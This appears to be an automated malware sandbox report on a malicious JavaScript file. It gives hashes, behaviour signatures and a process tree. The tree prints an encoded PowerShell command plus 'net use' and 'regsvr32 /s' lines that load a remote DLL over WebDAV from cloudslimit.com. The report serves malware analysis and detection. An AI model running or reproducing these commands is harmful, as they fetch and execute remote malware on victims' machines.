Analysis

  • max time kernel
    135s
  • max time network
    107s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/08/2024, 16:27

General

  • Target

    f8ad3e0a7c209640270e5b57f945c63ebf47c657cdc42c8b2d342529eb0ffe03.js

  • Size

    10KB

  • MD5

    50d9ccff105f185ac6598448352789be

  • SHA1

    e2402914b72093445622b73b2fdf0a39ee91e7e2

  • SHA256

    f8ad3e0a7c209640270e5b57f945c63ebf47c657cdc42c8b2d342529eb0ffe03

  • SHA512

    f8808b263940b624be45e605dc4af2697e6b012503463ae758fc7c38f3fbdf829eee14ee28217af55a2f51eeff8763e23b910c3ffca32124fe7430ae2ef3f822

  • SSDEEP

    192:kddMjoyAAEf83zkiii0GXiGBbUH9+bk2CAYcVlsG2uhZGAyLwagvMOvR+02gsAAA:k/zyOf8jkFi0Gm9+bk2ocVa7uhZ+LwaQ

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\f8ad3e0a7c209640270e5b57f945c63ebf47c657cdc42c8b2d342529eb0ffe03.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADEANwA5ADEANAAzADYAOQAyADkAOQA0ADUALgBkAGwAbAA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4944
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
        3⤵
          PID:3060
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\21791436929945.dll
          3⤵
            PID:2480

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ydojfjcd.1l4.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/4944-0-0x00007FFF8B313000-0x00007FFF8B315000-memory.dmp

        Filesize

        8KB

      • memory/4944-2-0x000001EE6F580000-0x000001EE6F5A2000-memory.dmp

        Filesize

        136KB

      • memory/4944-11-0x00007FFF8B310000-0x00007FFF8BDD1000-memory.dmp

        Filesize

        10.8MB

      • memory/4944-12-0x00007FFF8B310000-0x00007FFF8BDD1000-memory.dmp

        Filesize

        10.8MB

      • memory/4944-15-0x00007FFF8B310000-0x00007FFF8BDD1000-memory.dmp

        Filesize

        10.8MB